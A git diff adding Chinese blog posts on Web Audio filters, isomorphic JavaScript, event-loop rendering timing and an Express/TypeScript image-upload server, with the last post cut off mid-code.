"a/src/JavaScript/WebAudio/Web Audio \346\273\244\346\263\242\345\231\250Filter.md" "b/src/JavaScript/WebAudio/Web Audio \346\273\244\346\263\242\345\231\250Filter.md" new file mode 100644 index 00000000..ed1461f7 --- /dev/null +++ "b/src/JavaScript/WebAudio/Web Audio \346\273\244\346\263\242\345\231\250Filter.md" @@ -0,0 +1,94 @@ +# Web Audio API - BiquadFilterNode简单低阶滤波器食用指南 + +`BiquadFilterNode` 接口表示一个简单低阶滤波器(双二阶滤波器),通过 [`AudioContext.createBiquadFilter()`](https://developer.mozilla.org/zh-CN/docs/Web/API/BaseAudioContext/createBiquadFilter) 方法创建。 + +这个节点拥有一个输入和输出,一个节点可以设置很多不同的滤波效果,例如让某段频率以下的声音通过什么的(低通). + +## 属性 + +> #### BiquadFilterNode.frequency 类型是双精度浮点 + +当前滤波算法中以赫兹(Hz)为单位测量的频率的双精度浮点值。 + +> #### BiquadFilterNode.detune 类型为整数 + +频率失谐值 + +> #### BiquadFilterNode.Q 类型为双精度浮点 + +Q因子,或质量因子.默认值为 1,范围在 0.0001 至 1000. + +> #### BiquadFilterNode.gain 类型为整数 + +在当前的过滤算法中使用.当它取正值时,即为增益,当它取负值时,即为衰减,以分贝(dB)为单位,范围为 -40 至 40. + +> #### BiquadFilterNode.type 类型是字符串 + +这个属性决定了滤波器的效果,能使用的值在下列表格。除第一列以外都是对应节点的属性的描述 (给定的频率是指frequency.value) + +### 属性依赖说明: + +| type | 描述 | frequency | Q | gain | +| --------- | ------------------------------------------------------------ | ------------------------------------- | --------------------------------------------------- | -------------------------------------------------- | +| lowpass | 具有12dB/倍频程衰减的标准二阶谐振低通滤波器.给定频率以下的频率通过,高于它的频率会衰减. | 给定频率 | 指示频率在截止频率附近的峰值。 该值越大,峰值越大。 | 未使用 | +| highpass | 具有12dB/倍频程衰减的标准二阶谐振高通滤波器,给定频率以下的频率衰减,高于它的频率通过. | 给定频率 | 指示频率在截止频率附近的峰值。 该值越大,峰值越大。 | 未使用 | +| bandpass | 标准二阶带通滤波器.给定频率范围之外的频率被衰减,范围内的频率通过 | 频率范围内的中心 | 控制频带的宽度。Q值越大,频带越小。 | 未使用 | +| lowshelf | 标准二阶低架滤波器.低于给定频率的频率得到提升或衰减,高于给定频率上的频率不变. | 该频率以上获得提升或衰减 | 未使用 | 要应用的增强(正数)或衰减(负数),以分贝(dB)为单位; | +| highshelf | 标准二阶高架滤波器.高于给定频率的频率得到提升或衰减,低于给定的频率的频率不变. | 该频率以下获得提升或衰减 | 未使用 | 要应用的增强(正数)或衰减(负数),以分贝(dB)为单位; | +| peaking | 给定频率的范围内的频率得到提升或衰减,给定频率的范围之外的频率不变. | 频率范围内的频率得到增强或衰减 | 控制频带的宽度。Q值越大,频带越小。 | 要应用的增强(正数)或衰减(负数),以分贝(dB)为单位; | +| notch | 标准陷波滤波器,也称为带阻或带阻滤波器.它的效果与带通滤波器相反:给定频率范围之外的频率通过,内部的频率被衰减. | 频率范围内的中心 | 控制频带的宽度。Q值越大,频带越小。 | 未使用 | +| allpass | 标准二阶全通滤波器.它让所有频率通过,但会改变不同频率之间的相位关系. | 频率最大组延迟,即发生相变中心的频率. | 控制过渡在中频的锐度。该参数越大,过渡越锐利越大。 | 未使用 | + +## 简单示例 + +```js +const audioCtx = new (window.AudioContext || window.webkitAudioContext)(); + +// 设置音频节点 +const biquadFilter = audioCtx.createBiquadFilter(); + +// 连接节点 +source = audioCtx.createMediaStreamSource(stream); +source.connect(biquadFilter); +biquadFilter.connect(audioCtx.destination); + +// 设置参数 +biquadFilter.type = "lowpass"; +biquadFilter.frequency.value = 1000; +biquadFilter.Q.value = 1; +biquadFilter.gain.value = 25; +``` + +### 结合[wavesurfer.js](https://wavesurfer-js.org/)使用 + +```js +// 获取audio context,其中audioplayer为wavesurfer.create()创建的wavesurfer实例 +const BiquadFilter = this.audioplayer.backend.ac.createBiquadFitter(); + +// 设置参数 +BiquadFilter.type = 'lowpass' +BiquadFilter.frequency.value = 1000: +BiquadFiter.Q.value = 1; +BiquadFilter.gain.value = 0; + +// 设置过滤器 +this.audioplayer.backend.setFilter(BiquadFilter); +``` + +## 小作业预告 + +最近专业选修课作业写了个基于Web Audio API 的播放器,后续会更新文章关于如何边实践边学习Web Audio API,敬请期待~ + +[Online Demo](https://my-bucket-r4bp40x-1259409954.cos-website.ap-guangzhou.myqcloud.com),成品是这个样子 + +![image-20221127225535081](https://cdn.yihuiblog.top/images/202211272255177.png) + +![image-20221127225637069](https://cdn.yihuiblog.top/images/202211272256166.png) + +> 参考文档: +> +> [MDN 文档](https://developer.mozilla.org/zh-CN/docs/Web/API/BaseAudioContext/createBiquadFilter#%E7%A4%BA%E4%BE%8B) +> +> [MDN BiquadFilterNode](https://developer.mozilla.org/zh-CN/docs/Web/API/BiquadFilterNode) +> +> [wavesurfer](https://wavesurfer-js.org/) diff --git "a/src/JavaScript/\344\270\272\344\273\200\344\271\210\346\257\217\344\270\252\344\272\272\351\203\275\345\234\250\350\260\210\350\256\272\345\220\214\346\236\204JavaScript \344\273\245\345\217\212\344\270\272\344\273\200\344\271\210\345\256\203\345\276\210\351\207\215\350\246\201.md" "b/src/JavaScript/\344\270\272\344\273\200\344\271\210\346\257\217\344\270\252\344\272\272\351\203\275\345\234\250\350\260\210\350\256\272\345\220\214\346\236\204JavaScript \344\273\245\345\217\212\344\270\272\344\273\200\344\271\210\345\256\203\345\276\210\351\207\215\350\246\201.md" new file mode 100644 index 00000000..6d33ccec --- /dev/null +++ "b/src/JavaScript/\344\270\272\344\273\200\344\271\210\346\257\217\344\270\252\344\272\272\351\203\275\345\234\250\350\260\210\350\256\272\345\220\214\346\236\204JavaScript \344\273\245\345\217\212\344\270\272\344\273\200\344\271\210\345\256\203\345\276\210\351\207\215\350\246\201.md" @@ -0,0 +1,172 @@ +--- +date: 2022-12-30 +category: +- 前端 +- 翻译 +--- + +# 为什么每个人都在谈论同构JavaScript 以及为什么它很重要 + +> **原文标题:** Why Everyone is Talking About Isomorphic / Universal JavaScript and Why it Matters +> +>**原文:** [Why Everyone is Talking About Isomorphic / Universal JavaScript and Why it Matters | by Azat Mardan | Capital One Tech | Medium](https://medium.com/capital-one-tech/why-everyone-is-talking-about-isomorphic-universal-javascript-and-why-it-matters-38c07c87905) +> +>**作者:** [Azat Mardan](https://medium.com/@azatmardan) + +“同构 isomorphic ”一词最初应用于数学领域,最初是由[Airbnb的Spike Brehm](http://nerds.airbnb.com/isomorphic-javascript-future-web-apps/)在Javascript开发中推广的。从一开始,许多开发人员就反对这种用法,最近(此时为2016年)它一直出现在新闻中,因为与其相竞争的流行语“Universal Javascript”已经出现(最著名的是在[Michael Jackson的帖子](https://medium.com/@mjackson/universal-javascript-4761051b7ae9)中)作为“同构Javascript”的替代品。为简单起见,我将坚持使用更吸引人的单词同构 Isomorphic,也是为了避免卷入技术领域如此普遍的术语大战中。在这篇文章中,我们将更深入地探讨同构的概念,并阐明为什么它对 Web 开发很重要——不管用来描述它的流行语是什么。 + +应用于 Web 开发的**同构**意味着在服务器端和客户端渲染页面。它通常意味着使用 JavaScript 和 Node.js/Io.js因为它们允许重用库,允许浏览器 JavaScript 代码在 Node.js/Io.js 环境中运行,只需很少的修改。由于这种互换性,Node.js和JavaScript生态系统支持各种各样的同构框架,如[React](http://reactjs.net/).js,[lazo.js](http://lazojs.org/)和[Rendr](http://rendrjs.github.io/)等。 + +image-20230115214505499 + +开发人员对同构赞不绝口的三个主要原因是: + +- 更好的搜索引擎优化 (SEO) +- 更好的性能 +- 更好的可维护性 + +在我们谈到这些好处之前,让我们退后一步,看看Web的历史以及它与同构的关系。 + +# 网站开发历史快速回顾 + +在Web早期,服务器呈现所有HTML页面,Web体验比桌面应用程序差得多。每次用户与页面交互时,页面都必须刷新,大多数交互都是单个操作,例如提交一些数据或更新记录。再加上对用户体验 (UX) 的了解不足和连接速度慢,你就会明白...... + +到 2000 年代末,所谓的单页应用程序 (SPA) 变得更加流行,因为这种架构允许更快速、更用户友好的应用程序,其性能更像桌面应用程序。 (如今,桌面应用程序是使用 Web 技术构建的,使用 Electron 或 Adobe Air 等包装器,所以桌面端被扭转了!SPA 的定义特征是它们不需要页面重新加载,并异步加载数据,以便用户可以在数据加载时执行其他操作。例如,您可以在 Gmail 中为多封电子邮件并行加星标,而无需等待为电子邮件加星标的第一个过程成功完成。这改善了用户体验,因为 SPA 的功能更像桌面应用程序。这就是为什么你可能使用很多SPA——谷歌文档就是一个很好的例子——或者甚至可能已经开发了一个。 + +SPA 的另一个功能是 HTML 在客户端(即浏览器)上呈现和操作。这会减小有效负载的大小,因为服务器仅返回 JSON 而不是 HTML。但是,这种方法有一些缺点: + +- 大多数搜索引擎在抓取网站时不支持客户端呈现。甚至谷歌也表示,[代码必须足够简单,以便其爬虫正确解释](http://www.capitalone.io/blog/why-is-everyone-talking-about-isomorphic-javascript/). +- 随着 SPA 变得越来越大,它们要求用户下载越来越多的前端 JavaScript 代码,从而导致等待时间增加(“加载...”消息),然后才能使用应用程序。 +- 用户必须启用 JavaScript。 +- 在页面框架加载后,用户必须等待JSON数据通过AJAX/XHR 返回。 + +用非同构策略修补这些问题充其量是很麻烦的。例如,在服务器端呈现页面早在同构JavaScript成为流行术语之前就是一种实践。但是,沿着 SPA 渲染服务器端通常需要使用不同的模板和逻辑集,因为服务器端平台使用 Ruby、Java 或 PHP 等语言。同样,另一种重要的策略涉及将爬虫重定向到[运行Phantom等无头浏览器的独立机器.js](http://www.capitalone.io/blog/why-is-everyone-talking-about-isomorphic-javascript/). + +随着 Node.js 的出现,编写在浏览器和服务器上呈现的代码成为可能。不用说,从可维护性的角度来看,只有一组代码要好得多,并且开始超越其他 Web 开发策略。那么同构如何解决SEO、性能和可维护性的问题呢? + +# 搜索引擎能够准确地索引页面 + +使用Backbone.js,Angular.js,Ember.js等框架构建的单页应用程序广泛用于编写受保护的应用程序,即需要用户名和密码才能访问的应用程序。大多数 SPA 提供受保护的资源,并且不需要 Web 索引,因为它们没有公共仪表板。例如,从Capital One网上银行到Gmail再到 Evernote.com,每个人都要求用户在看到实际应用程序之前登录。 + +但是,绝大多数网站在登录后不受保护。对于这些公共应用程序和页面,SEO实际上是强制性的,因为它们的商业模式在很大程度上依赖于搜索索引和自然流量。最近,谷歌在他们的爬虫中添加了JavaScript渲染功能。从理论上讲,这意味着Google将像普通浏览器一样呈现SPA,并索引其内容。但是,Google本身表示,“有时在渲染过程中事情并不完美,这可能会对您网站的搜索结果产生负面影响。 [](http://www.capitalone.io/blog/why-is-everyone-talking-about-isomorphic-javascript/)因此,为了安全起见,SPA 开发人员**仍然需要将他们的非** JavaScript 渲染尽可能接近支持 JavaScript(浏览器或 SPA)的渲染,以避免被爬虫忽略。例如,Capital One 主页必须由搜索引擎编入索引,以便我们的客户轻松找到可公开访问的页面。 + +虽然一些应用程序优先考虑正确的搜索引擎索引,但其他应用程序则以快速性能蓬勃发展。像 mobile.walmart.com([文章](http://www.walmartlabs.com/2014/06/in-search-of-the-holy-grail-again))和 Twitter.com([文章](https://blog.twitter.com/2012/improving-performance-on-twittercom))这样的网站所做的研究表明,提高第一页(首次加载)的速度可以提高一般网站的性能。 + +这项研究证实了服务器端呈现需要尽快显示第一页的做法,而其他代码可以在用户浏览页面时加载。*因此,当用户加载第一页时,他/她不会看到 *“正在加载...”* 消息;他们将看到一个功能页面,从而拥有更好的用户体验 (UX),并且总体上具有更好的应用体验。 + +# 更好的代码可维护性 + +代码是一种责任。越多,您和您的团队就越需要支持。因此,您通常希望避免对同一页面使用不同的模板和逻辑。幸运的是,Node.js/Io.js - 以及Handlebars,Mustache和Dust等模板引擎 - 使得在服务器上使用前端/浏览器模块变得毫不费力。 + +除了重用模板之外,开发人员还可以在服务器和浏览器上重用相同的库和实用程序,从而进一步减少对多余代码的需求。由于这个原因,像Underscore.js,lodash,Request和SuperAgent这样的库非常受欢迎。在服务器和浏览器上拥有相同的库可以更好地开发和代码重用,从而使软件工程师更快乐,并减少维护代码所花费的时间。如果我们更进一步,我们甚至可以开发自己的内部模块,以便在浏览器和服务器之间共享。我们在 Storify 使用翡翠浏览器就是这样做的。此模块允许您的 Node.js 和 Express.js 驱动的应用程序向浏览器公开 Jade 模板,在那里它们可以被浏览器的 JavaScript 代码使用(我们在浏览器上使用 Backbone 和 jQuery)。 + +同构JavaScript的另一个优点是数据模型可以在浏览器和服务器之间共享,例如Meteor或[Falcor](http://netflix.github.io/falcor)。这最大限度地提高了浏览器和服务器之间的一致性。在DocuSign,我们调整了Backbone.js模型(浏览器框架)以在服务器上工作。这使我们能够在 AJAX/XHR 请求之前获取 DocuSign Web SPA 的数据,从而提高应用程序的性能。 + +# 可选项:React.js、Lazo.js 和 Rendr + +所以你想在你的 Web 开发中处理同构吗?虽然有各种各样的库和框架允许开发人员在JavaScript中使用同构,但一些最受欢迎的选择是React.js,Lazo.js和Rendr。以下是对这些库的快速比较。 + +## Rendr + +Rendr是AirBnb开发的一个库,用于解决首页加载缓慢的问题。它旨在利用服务器上的 Backbone.js 体系结构。Rendr还与Express.js合作。如果我们仔细探索 Rendr,您会发现路由的设置类似于 Backbone 中的路由.js: + +```js +module.exports = function(match) { + match('', 'home#index'); + match('repos', 'repos#index'); + match('repos/:owner/:name', 'repos#show'); + match('users', 'users#index'); + match('users/:login', 'users#show'); +}; +``` + +Rendr 应用程序将拥有自己的 Express 实例.js我们通过以下方式将其挂载到主服务器: + +```js +var server = rendr.createServer({ + dataAdapterConfig: dataAdapterConfig // Some configurations +});//...app.use('/', server.expressApp); // Mount Rendr app to the main app +``` + +更多 Rendr 示例可在  中找到。有很多类似的项目利用 Backbone 库来编写可以在服务器上运行的代码或设计要在客户端和服务器之间共享的组件。其中一些项目可以在这里找到:[主干服务器端](http://www.capitalone.io/blog/why-is-everyone-talking-about-isomorphic-javascript/)和[预览科](http://www.capitalone.io/blog/why-is-everyone-talking-about-isomorphic-javascript/). + +## Lazo.js + +Lazo与Rendr相似,因为它利用了Backbone.js。此外,它还利用了RequireJS和jQuery前端JavaScript库。Lazo 路由存储在 JSON 文件中: + +```js +{ + "routes": { + "": { "component": "todos-single" }, + "multiple(/)": { "component": "todos-multiple" }, + "single(/)": { "component": "todos-single" }, + "layout(/)": { "component": "main", "layout": "todos-layout" }, + "header(/)": { "component": "header" }, + "main(/)": { "component": "main" }, + "footer(/)": { "component": "footer" }, + "hello(/)": { "component": "hello", "layout": "todos-layout" } + }, + "css": ["/app/client/base.css"] +} +``` + +这些模块以 RequireJS 样式定义: + +```js +define(['lazoBundle'], function (LazoBundle) {...}) +``` + +## React.js + +React.js 不是一个模型视图控制器 (MVC) 框架;它只有MVC的视图层。这意味着它可以与大多数其他库前端库(如 Backbone.js)一起使用。React.js 通常与 JSX 语言一起使用,JSX 语言是 JavaScript 和 XML/HTML 的混合体。在此方案中,JSX 代码在浏览器中执行之前编译为本机 JavaScript。与其他库相比,使用 React .js 的主要优点是使用虚拟 DOM 进行渲染,这意味着只有更改的增量才会在页面上呈现,而保持不变的元素保持不变。 + +下面是 React 前端代码的示例: + +```js +var Header = React.createClass({ + render: function(){ + return (

    Message Board

    ) + } +}) +//... +``` + +React 的亮点在于没有使用到模板——所有的 HTML 元素都是从 JavaScript 代码渲染的。类似XML的语法只是糖衣,因为功能在JS和HTML之间拆分,这种方法有助于防止从JS到HTML到JS到HTML的不断跳转,等等。当它编译为同构时,React 毫不费力地在服务器上渲染,从而实现我们之前讨论的更快的首页加载,而后面的交互则由浏览器 React 启用。 + +让我们看一下在使用 Express.js 构建的服务器上呈现的相同组件 Header。public/js/app.js 是带有 React 组件的浏览器文件,我们将在服务器上重用它: + +```js +var React = require('react/addons'), + components = require('./public/js/app.js'), + Header = React.createFactory(components.Header) + //... + app.get('/', function(req, res, next) { + req.messages.find({}, {sort: {_id: -1}}).toArray(function(err, docs){ + if (err) return next(err) + res.render('index', { + header: React.renderToString(Header()), props: '' + }) + }) + } +``` + +在 props 中传递的数据将暴露在客户端/浏览器上。视图的服务器端模板(Handlebars 模板引擎)如下所示: + +```jsx +{{{props}}} + +``` + +一旦客户端 React 代码从数据存储(Reflux、jQuery、Backbone 等)获取数据,它将检查服务器渲染元素上的校验和。之后它们将会匹配,因为数据是相同的,并且不会有不必要的重新呈现来减慢页面时间。第一次加载此页面将非常快,因为渲染发生在服务器上,后来部分 DOM 更新发生在浏览器上。 + +随着 SPA 变得越来越普遍,为谋求支持 SEO、non-JavaScript 客户端、更好的用户体验和快速的首页加载,对仅使用单个C/S代码的需求也越来越大。简而言之,同构JavaScript是这个Web开发问题的答案。 + +同构方法通过使用一组代码(通常是JavaScript / Node.js)来解决这些问题,该代码在后端和前端进行渲染,从而实现更好的可维护性、搜索引擎索引和用户体验。虽然这是一个有争议的术语,但这个概念的效用是坚实的。Node.js / Io.js 使同构开发更容易、更易于访问,使其越来越受欢迎并扩展到多个框架。 + +如果说“them all”是指从浏览器到服务器再到数据库的 Web 技术堆栈的每一层,JavaScript 则已经是统治它们的ONE LANGUAGE。如果同构 JavaScript 代表了 Web 开发的下一次演变,剥离了跟踪几千个活动代码位的复杂性,那会怎样?如果所有那些Web开发人员简历上的缩写——HTML、CSS、HTTP、SQL、RoR、J2EE、PHP——都可以被一个漂亮的JavaScript同构方法所取代呢?那不是举世地伟大吗? + +> **译者:** +> +> 之前一直在查阅关于同构渲染、CSH和SSR等的资料,翻到了这篇Medium的早期文章,还是非常有学习价值的。 diff --git "a/src/JavaScript/\344\272\213\344\273\266\345\276\252\347\216\257\346\230\257\345\246\202\344\275\225\345\275\261\345\223\215\351\241\265\351\235\242\346\270\262\346\237\223\347\232\204\357\274\237.md" "b/src/JavaScript/\344\272\213\344\273\266\345\276\252\347\216\257\346\230\257\345\246\202\344\275\225\345\275\261\345\223\215\351\241\265\351\235\242\346\270\262\346\237\223\347\232\204\357\274\237.md" new file mode 100644 index 00000000..db00ab6b --- /dev/null +++ "b/src/JavaScript/\344\272\213\344\273\266\345\276\252\347\216\257\346\230\257\345\246\202\344\275\225\345\275\261\345\223\215\351\241\265\351\235\242\346\270\262\346\237\223\347\232\204\357\274\237.md" @@ -0,0 +1,119 @@ +--- +date: 2022-07-15 +category: +- 前端 +- JavaScript +--- + +# 事件循环是如何影响页面渲染的? + +- [渲染任务的时机](https://harttle.land/2019/01/16/how-eventloop-affects-rendering.html#header-3) +- [所以 setImmediate 是啥](https://harttle.land/2019/01/16/how-eventloop-affects-rendering.html#header-4) + +JavaScript 是单线程的,但提供了很多异步调用方式比如 `setTimeout`,`setInterval`,`setImmediate`,`Promise.prototype.then`,`postMessage`,`requestAnimationFrame`, I/O,DOM 事件等。 这些异步调用的实现都是[事件循环](https://html.spec.whatwg.org/multipage/webappapis.html#event-loop-processing-model),但根据插入的队列不同和取任务的时机不同他们的表现也不同。 尤其在涉及与页面渲染的关系时。 + +## TL;DR + +- 页面渲染/交互任务也会插入在 Task Queue 中,会与各种异步机制插入的任务交错执行。 +- Microtask Queue 会在下一个任务开始之前清空。 +- 单个耗时任务和 Microtask Queue 都会阻塞页面交互,Task Queue 则不影响。 +- 渲染时机可以通过 requestAnimationFrame 精确控制。 +- setImmediate 与 setTimeout 一样使用 Task Queue,但克服了 4ms 限制。 + +## 任务与队列的概念 + +JavaScript 的异步机制由 [事件循环](https://html.spec.whatwg.org/multipage/webappapis.html#event-loop-processing-model) 实现,这些 API 的不同表现在进入和离开任务队列的时机。 为了讨论方便,先解释几个概念。 + +- **任务与调用栈**。由于单线程的特性,每个 JavaScript 执行上下文只有一个调用栈,其中保存着当前任务中所有未执行完的函数。只要调用栈非空,JavaScript 引擎就会持续地、不被打断地(从进程内的角度来看)执行完当前栈中的所有函数,因此 JavaScript 有 "run-to-completion" 的特性。调用栈被清空时意味着当前任务执行结束。 +- **Task Queue** 是事件循环的主要数据结构。当前调用栈为空时(上一个任务已经完成),事件循环机制会持续地轮询 Task Queue,只要队列中有任务就拿出来执行。在任务执行期间插入的任务会进入 Task Queue 尾部。会加入 Task 队列的包括:setTimeout, setInterval, setImmediate,postMessage,MessageChannel,UI 事件,I/O,页面渲染。 +- **Microtask Queue** 在 Task Queue 的每个任务执行结束后,下一个任务执行开始前,会执行并清空 Microtask Queue 中的所有任务。在 Microtask 执行期间插入的任务也会进入当前 Microtask Queue。会加入 MicroTask 队列的包括:[Promise](https://harttle.land/2016/08/10/promise.html), MutationObserver,process.nextTick。 + +> 上述异步 API 的分类依据的是最新标准或最新实现。存在一些例外,比如:Node < 9 的 process.nextTick 实现的是 Task 语义(而非 Microtask);IE8 中的 postMessage 是同步的;Edge 浏览器在点击事件处理函数之间不会清空 Microtask Queue。 + +无论是 Task Queue 还是 Microtask Queue,其中的 task 和 microtask 的执行都是异步的。 为了对上述两个队列有更直观的认识,这里举个例子: + +``` +setTimeout(() => console.log('setTimeout')); +Promise.resolve().then(() => { + console.log('Promise'); + Promise.resolve().then(() => console.log('Promise queued by Promise')); +}); +console.log('stack'); +``` + +上述代码片段中有两个Task(stack, setTimeout),两个 Microtask(Promise、Promise queued by Promise)。 stack 是当前任务会先执行;setTimeout 是第二个任务,在它执行前会清空 Microtask Queue。 这时 Microtask Queue 只有一个 Microtask(Promise), 在它执行的过程中会插入第二个 Microtask(Promise queued by Promise)。 这些 Microtask 都会在下一个 Task(setTimeout)之前执行。因此输出为: + +``` +stack +Promise +Promise queued by Promise +setTimeout +``` + +- 注意与 `.then` 的回调不同,`new Promise` 的回调是同步执行的。可参考 [Promise 回调的执行](https://harttle.land/2017/06/26/promise-callback-execution.html) 一文。 +- 在 Jake 的 [Tasks, microtasks, queues and schedules](https://jakearchibald.com/2015/tasks-microtasks-queues-and-schedules/) 一文中有更加详细的例子,感兴趣的读者可前往观摩。 + +## 何时会阻塞 UI + +UI 渲染和交互的处理是通过 Task Queue 来调度的,因此耗时任务会导致渲染和交互任务得不到调用,也就是页面“卡死”。 典型的浏览器会在每秒插入 60 个渲染帧,也就是说每 16ms 需要一次渲染。 如果存在一个任务在 16ms 内未能执行结束,页面就会掉帧给人卡顿的感觉。 渲染帧的详细讨论可以参考 [浏览器的 16ms 渲染帧](https://harttle.land/2017/08/15/browser-render-frame.html) 一文,也可以参考下面的例子: + +在 “Loop for 10 seconds” 部分我们写了 4 种不同的循环,它们的表现如下: + +| 循环 API | 队列类型 | 期间页面能否交互? | 每秒执行次数 | +| :-------------------: | :-------------: | :---------------: | :----------: | +| while(true) | 当前任务 | 否 | 701665.8 | +| Promise | Microtask Queue | 否 | 609555.4 | +| setTimeout | Task Queue | 是 | 208.3 | +| requestAnimationFrame | Task Queue | 是 | 59 | + +- 页面不可交互是指:无法点击其他按钮、无法操作输入控件、无法选择/赋值页面文本。 +- 以 PC Chrome 为例,iOS Safari 尤其是 [UIWebview](https://harttle.land/2018/06/23/uiwebview-bugs.html) 的表现可能会不同。 + +单个的耗时任务和 Microtask Queue 都会阻塞页面交互,Task 则不影响。 因为 Task 之间浏览器有机会会插入 UI 任务。 这里还可以观察到 `setTimeout` 虽然设置了 0 延时但调用次数远小于 while,甚至远小于 Microtask。 下文 setImmediate 章节会详细讨论原因。 + +## 渲染任务的时机 + +有时我们希望精确地控制浏览器在每一帧的绘制,这时就要了解浏览器绘制的时机。 首先举个例子,我们希望页面背景闪现一下红色: + +``` +document.body.style.background = 'red'; +document.body.style.background = 'white'; +``` + +上述代码一定达不到效果,背景会稳定地呈现白色。 因为 JavaScript “run-to-completion” 的特性,在上述两行代码之间不可能插入渲染任务。 这时可能有人想到 setTimeout: + +``` +document.body.style.background = 'red'; +setTimeout(function () { + document.body.style.background = 'white'; +}) +``` + +这样两次背景设置会在不同的任务中执行,如果这两个任务之间插入了渲染任务背景就会发生闪动。 但渲染任务是 16ms 一次,你怎么知道浏览器会正好插入在这两个任务之间? 因此上述代码只会几率性起作用,背景闪动的几率大概 4/16.67 = 25%。 16.67 是渲染帧间隔,那为什么是 4ms 呢?请看下文 setImmediate。 + +想要增大几率到 100% 怎么办?setTimeout 100ms 呗… 其实 HTML5 中给出了 [requestAnimationFrame](https://developer.mozilla.org/zh-CN/docs/Web/API/Window/requestAnimationFrame) API,使得脚本有机会精确地控制动画: + +``` +requestAnimationFrame(function () { + document.body.style.background = 'red'; + requestAnimationFrame(function () { + document.body.style.background = 'white'; + }) +}) +``` + +插入的任务会在每次渲染任务**之前**执行,因此等待渲染之后需要调用两次来插入到第二次渲染之前。 这样背景一定会闪现红色。同样下面页面的 “Switch background red and white” 部分给了例子,可以点点看: + +http://harttle.github.io/async-and-render + +## 所以 setImmediate 是啥 + +[setImmediate](https://developer.mozilla.org/zh-CN/docs/Web/API/Window/setImmediate) 是由 IE 提出的, 目前尚未形成标准。当前状态是 [Proposal](https://dvcs.w3.org/hg/webperf/raw-file/tip/specs/setImmediate/Overview.html#sec-efficient-script-yielding) 且只有 IE 有实现。 setImmediate 是为了让脚本更快地执行,与 [setTimeout](https://developer.mozilla.org/zh-CN/docs/Web/API/Window/setTimeout) 一样都使用 Task Queue。 为了解 setImmediate 的用途,我们先看 setTimeout 为什么不够快。 下面的文本来自 [HTML5 Living Standard](https://html.spec.whatwg.org/multipage/timers-and-user-prompts.html#dom-settimeout) 的 timer initialization steps: + +> 1. If timeout is less than 0, then set timeout to 0. +> 2. If nesting level is greater than 5, and timeout is less than 4, then set timeout to 4. +> 3. Increment nesting level by one. + +其中 nesting level 是指 [timer nesting level](https://html.spec.whatwg.org/multipage/timers-and-user-prompts.html#timer-nesting-level), 每一级可能是 setTimeout 也可能是 setInterval。也就是说在嵌套 5 层以上时,会设置最小 4ms 的延迟。由于没有广泛实现,使用 setImmediate 需要引入 Polyfill。请参考: + +https://github.com/YuzuJS/setImmediate/blob/master/README.md diff --git "a/src/JavaScript/\344\275\277\347\224\250Node.js\343\200\201Express.js\343\200\201TS\345\206\231\344\270\252\347\256\200\345\215\225\347\232\204\345\233\276\345\272\212\350\204\232\346\234\254\357\274\210\344\270\200\357\274\211.md" "b/src/JavaScript/\344\275\277\347\224\250Node.js\343\200\201Express.js\343\200\201TS\345\206\231\344\270\252\347\256\200\345\215\225\347\232\204\345\233\276\345\272\212\350\204\232\346\234\254\357\274\210\344\270\200\357\274\211.md" new file mode 100644 index 00000000..f4efa8f4 --- /dev/null +++ "b/src/JavaScript/\344\275\277\347\224\250Node.js\343\200\201Express.js\343\200\201TS\345\206\231\344\270\252\347\256\200\345\215\225\347\232\204\345\233\276\345\272\212\350\204\232\346\234\254\357\274\210\344\270\200\357\274\211.md" @@ -0,0 +1,240 @@ +在这篇博客文章中,我将介绍如何使用 TypeScript 和 Express 框架来编写一个简单的图床脚本,可以将本地图片上传到服务器,并返回图片的 URL。这样,你就可以在 Markdown 文档中方便地引用图片,而不用担心图片的存储和管理问题。 + +我将最新源码放在了[MoMeak9/img-service: 简单图床脚本](https://github.com/MoMeak9/img-service#readme),但是这个是最终版本,添加了很多新的在后续文章才提到的功能,而本文的完整代码我放在了文末,请客官自行取用。 + +## 代码实现 + +首先,我们需要安装一些依赖包,包括 express、multer 和 dotenv。express 是一个流行的 Node.js Web 框架,提供了基本的路由和中间件功能。multer 是一个用于处理 multipart/form-data 类型的请求体的中间件,可以方便地获取上传的文件。fs 是 Node.js 的内置模块,用于操作文件系统。path 也是 Node.js 的内置模块,用于处理文件路径。dotenv 是一个用于加载环境变量的模块,可以让我们将一些敏感或配置信息存放在 .env 文件中,而不用暴露在代码里。 + +我们可以使用 npm 或 yarn 来安装这些依赖包: + +```bash +npm install express multer fs path dotenv +# or +yarn add express multer fs path dotenv +``` + +然后,我们需要在项目根目录下创建一个 .env 文件,用来存放一些配置信息,比如服务器端口号、图片存储路径和访问域名等。例如: + +```.env +PORT=8899 +BASEURL=https://fs.lwmc.net +``` + +接下来,我们需要在项目根目录下创建一个 src 文件夹,用来存放 TypeScript 源码文件。在 src 文件夹下,我们创建一个 index.ts 文件,作为入口文件。在 index.ts 文件中,我们首先需要导入一些模块: + +```ts +import express, {NextFunction, Request, Response} from 'express'; +import multer from 'multer'; +import fs from 'fs'; +import path from 'path'; +import dotenv from 'dotenv'; +``` + +你也看出来了,我们还需要添加一些类型辅助 + +```bash +npm install @types/express @types/multer @types/node -D +# or +yarn add @types/express @types/multer @types/node -D +``` + +### 跨域配置(上传和静态文件跨域访问能力) + +```js +// 允许跨域请求 +app.use((req: Request, res: Response, next) => { + res.header('Access-Control-Allow-Origin', '*'); + res.header('Access-Control-Allow-Methods', 'GET, POST'); + res.header('Access-Control-Allow-Headers', 'Content-Type, Authorization, Content-Length, X-Requested-With'); + next(); +}); +``` + +### 路由 + +应该包含有静态资源路由和上传路由: + +静态资源路由开放对`/uploads`路径下资源的访问 + +```js +// 静态文件路由 +app.use('/uploads', express.static(path.resolve(__dirname, '../uploads'))); +``` + +上传路由开放对`/upload`POST方法的访问: + +1. `upload.single('file')` 是一个 multer 中间件,表示只允许上传一个文件,并且上传的文件参数名是 'file'。 +2. `(req: Request, res: Response) => { ... }` 是路由处理函数,当客户端向 '/upload' 路径发送 POST 请求时,会执行这个函数。 +3. `const file = req.file;` 表示从请求中获取上传的文件。 +4. `if (!file) { ... }` 表示如果没有上传文件,返回一个 400 错误响应。 +5. `res.send({ ... })` 表示向客户端发送一个 JSON 响应,包含上传文件的信息,包括文件名、原始文件名、文件类型、文件大小和文件的访问路径。其中文件访问路径是通过拼接服务器地址和文件路径得到的。 + +```js +// 上传文件路由 +app.post('/upload', upload.single('file'), (req: Request, res: Response) => { + const file = req.file; + if (!file) { + res.status(400).send('Please upload a file.'); + return; + } + + // 返回文件信息 + res.send({ + filename: file.filename, + originalname: file.originalname, + mimetype: file.mimetype, + size: file.size, + path: 